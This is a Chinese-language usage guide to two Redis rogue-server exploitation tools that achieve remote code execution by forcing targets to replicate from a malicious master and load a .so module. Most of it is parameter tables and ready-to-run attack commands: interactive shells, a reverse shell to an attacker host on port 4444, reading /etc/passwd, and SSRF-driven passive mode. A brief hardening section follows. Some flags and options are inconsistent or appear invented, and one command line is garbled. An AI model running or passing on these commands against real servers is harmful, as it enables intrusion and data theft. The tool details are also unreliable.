1. 核心功能與攻擊場景
-
redis-rogue-server
基于Redis主從復制漏洞(CVE未公開),針對Redis 4.x~5.0.5版本設計,通過偽造惡意主節點強制同步惡意模塊(.so
文件)實現遠程代碼執行(RCE)。- 適用場景:
- 主動模式:攻擊外網暴露的未授權Redis或已知弱密碼的實例,直接建立主從關系。
- 被動模式:通過SSRF或內網橫向移動,誘導目標Redis反向連接攻擊者控制的惡意主節點。
- 技術特點:
- 內置編譯好的惡意模塊(如
exp.so
),支持生成反彈Shell或執行系統命令。 - 支持交互式Shell(直接命令執行)或反向Shell(繞過防火墻限制)。
- 內置編譯好的惡意模塊(如
- 適用場景:
-
Awsome-Redis-Rogue-Server
在原版基礎上優化,支持更復雜的Redis認證場景(如存在密碼保護的實例),并修復部分兼容性問題。- 核心改進:
- 增加對密碼認證Redis實例的利用能力,通過
--passwd
參數指定密碼。 - 優化模塊加載邏輯,減少因網絡波動導致的同步失敗。
- 增加對密碼認證Redis實例的利用能力,通過
- 應用場景:
- 針對企業內網中配置了密碼但未限制主從復制的Redis實例。
- 結合Redis橫向滲透工具(如
RedisScanner
)批量探測并攻擊。
- 核心改進:
2. 使用流程與工具差異
對比項 | redis-rogue-server | Awsome-Redis-Rogue-Server |
---|---|---|
依賴文件 | 需預編譯.so 模塊(或使用自帶exp.so ) | 同左,但優化模塊兼容性 |
密碼支持 | 有限支持(需手動修改代碼或參數) | 原生支持--passwd 參數指定密碼 |
攻擊模式 | 主動/被動模式 | 同左,增加對認證流程的自動化處理 |
適用Redis版本 | 4.x-5.0.5 | 擴展至部分5.0.5+版本(需測試) |
典型命令 | python3 redis-rogue-server.py --rhost <目標IP> | python3 redis_rogue_server.py -rhost <目標IP> -passwd <密碼> |
3. 防御建議與漏洞修復
- 禁用高危命令:通過
rename-command
重命名或禁用MODULE
、SLAVEOF
等指令。 - 強制認證:設置
requirepass
強密碼,并啟用masterauth
保證主從通信安全。 - 網絡隔離:限制Redis端口僅對可信IP開放,避免暴露公網。
- 升級修復:升級至Redis 7.4.2+/7.2.7+修復Lua引擎漏洞(如CVE-2024-46981)。
總結
兩者均利用Redis主從復制的設計缺陷實現RCE,但Awsome-Redis-Rogue-Server更適用于復雜認證環境,而redis-rogue-server更適合快速測試未授權場景。防御需結合訪問控制、日志監控與版本升級,避免惡意模塊加載和橫向滲透。
redis_rogue_server.py
參數解析
該文件位于Awsome-Redis-Rogue-Server
項目中。
1. 基本參數
參數 | 描述 | 示例 |
---|---|---|
-rhost | 目標Redis服務器的IP地址。 | -rhost 192.168.1.100 |
-rport | 目標Redis服務器的端口(默認6379)。 | -rport 6379 |
-lhost | 攻擊者主機的IP地址(用于反向Shell或模塊同步)。 | -lhost 10.0.0.1 |
-lport | 攻擊者主機的監聽端口(默認15000)。 | -lport 21000 |
-passwd | Redis實例的認證密碼(若目標Redis設置了密碼)。 | -passwd redis123 |
-sofile | 指定惡意模塊文件(如exp.so )。 | -sofile ./exp.so |
-path | 指定惡意模塊文件路徑(如 exp.so ),該模塊通常包含遠程代碼執行函數(如 system.exec ),程序到路徑中加載文件。 | -path exp.so |
-v | 詳細輸出模式,用于顯示攻擊過程中的調試信息,如連接狀態、命令執行細節、模塊加載進度等。 | -v |
2. 高級參數
參數 | 描述 | 示例 |
---|---|---|
--command | 直接執行系統命令(無需加載模塊)。 | --command "id" |
--function | 調用模塊中的特定函數(如system.exec )。 | --function system.exec |
--backupfile | 指定目標Redis持久化文件的備份路徑(用于恢復數據)。 | --backupfile /tmp/dump.rdb |
--interactive | 啟用交互式Shell(加載模塊后)。 | --interactive |
3. 使用示例
# 主動模式(外網/已知密碼):加載 exp.so 模塊,獲取交互式
# 功能:通過主從復制加載惡意模塊,直接進入交互式 Shell。
# 場景:外網 Redis 未授權或已知弱密碼。
Shell python3 redis_rogue_server.py -rhost 192.168.1.100 -lhost 10.0.0.1 -passwd redis123 -sofile exp.so --interactive# 被動模式(內網/SSRF誘導):僅啟動惡意主節點,等待目標 Redis 反向連接
# 功能:通過 SSRF 或內網橫向移動誘導目標 Redis 連接惡意主節點。
# 場景:目標 Redis 處于內網且無法直接訪問。
python3 redis_rogue_server.py --server-only -lhost 10.0.0.1 -lport 21000# 反向 Shell 反彈:監聽 4444 端口,觸發目標反彈 Shell
# 功能:利用模塊中的 `system.rev` 函數建立反向 Shell。
# 場景:繞過防火墻限制或權限維持。
python3 redis_rogue_server.py -rhost 192.168.1.100 -lhost 10.0.0.1 -lport 4444 -sofile exp.so --function system.rev# 快速命令執行:直接執行系統命令(無需加載模塊)
# 功能:快速驗證漏洞或執行單條命令。
# 場景:應急響應或自動化滲透測試。
python3 redis_rogue_server.py -rhost 192.168.1.100 -command "cat /etc/passwd"# 調用自定義模塊的特定函數:
# 說明:適用于繞過 WAF 或實現隱蔽攻擊。
python3 redis_rogue_server.py -rhost 192.168.1.100 -sofile custom.so --function custom_cmd --command "rm -f /tmp/lock"# 攻擊前備份目標 Redis 數據
# 說明:避免攻擊導致業務中斷,需提前驗證備份文件完整性。
python3 redis_rogue_server.py -rhost 192.168.1.100 --backupfile /tmp/dump.rdb
4. 注意事項
- 惡意模塊:
exp.so
需提前編譯,包含system.exec
等函數。 - 網絡權限:確保攻擊者主機(
lhost
)可被目標Redis訪問(用于反向Shell或模塊同步)。 - 數據備份:攻擊前建議備份目標Redis數據(
--backupfile
),避免數據丟失。